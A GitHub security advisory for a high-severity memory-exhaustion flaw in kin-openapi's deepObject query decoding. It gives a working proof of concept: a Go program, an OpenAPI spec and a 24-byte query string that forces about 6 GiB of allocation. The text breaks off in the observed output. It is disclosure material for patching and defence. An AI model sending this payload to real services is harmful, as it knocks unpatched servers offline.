GitHub Advisoryadvisory · Go

GHSA-xhj3-7xw9-vr34 kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding

HIGH Published 2026-08-21 Modified 2026-08-21 Official page ↗
Aliases
CVE-2026-77354
Ecosystem
Go
Packages
github.com/getkin/kin-openapi
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-400, CWE-789
Reviewed
2026-08-21

Affected packages

• Go github.com/getkin/kin-openapi: >= 0.124.0, < 0.142.0 → fixed in 0.142.0

Description

Summary An uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the largest attacker-supplied index and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to ~6.1 GiB, reliably triggering an OOM kill / restart loop on memory-constrained services. Details The OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a&param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in `sliceMapToSlice`: ```go // req_resp_decoder.go (vulnerable version) func sliceMapToSlice(m map[string]any) ([]any, error) { var result []any keys := make([]int, 0, len(m)) for k := range m { key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled if err != nil { return nil, fmt.Errorf("array indexes must be integers: %w", err) } keys = append(keys, key) } max := -1 for _, k := range keys { if k > max { max = k // max = attacker's index, unbounded } } for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max val, ok := m[strconv.Itoa(i)] if !ok { result = append(result, nil) // fills every sparse hole with nil continue } result = append(result, val) } return result, nil } ``` A second, equally-sized allocation follows immediately in `buildResObj`: ```go resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1 for i := range arr { r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) ... } ``` So a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with no upper bound other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory. Why `maxItems` does not help. `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented. Why this is deepObject-specific. Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no "index" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at `:479`, `:777`, `:841`) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` (`:661-687`) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude. Preconditions. The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array. Introduced in. `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit `78bb273` ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in `v0.124.0`. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path. PoC Verified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`. 1. Spec — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help): ```yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: • name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ``` 2. Program — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses: ```go package main import ( "context" "fmt" "net/http" "runtime" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: • name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, _ := loader.LoadFromData([]byte(spec)) _ = doc.Validate(loader.Context) router, _ := gorillamux.NewRouter(doc) // Attacker-controlled index. A 24-byte query string is enough to force // materialization of a 50-million-element slice. const rawQuery = "param[items][50000000]=x" r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil) route, pp, _ := router.FindRoute(r) var before, after runtime.MemStats runtime.GC() runtime.ReadMemStats(&before) err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) runtime.ReadMemStats(&after) fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery)) fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20)) fmt.Printf("ValidateRequest error: %v\n", err) } ``` 3. Observed output (`go run .`, unpatched tree, re-verified in this pass): ``` query string: "param[items][50000000]=x" (24 bytes) heap allocated during ValidateRequest: 6231.1 MiB ValidateRequest error: parameter "param" in query has an error: Error at "/items": max…

Related

Alias · CVE (1)

  • CVE-2026-77354 kin-openapi is a Go project for handling OpenAPI files. vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-789 Memory Allocation with Excessive Size Value weakness

References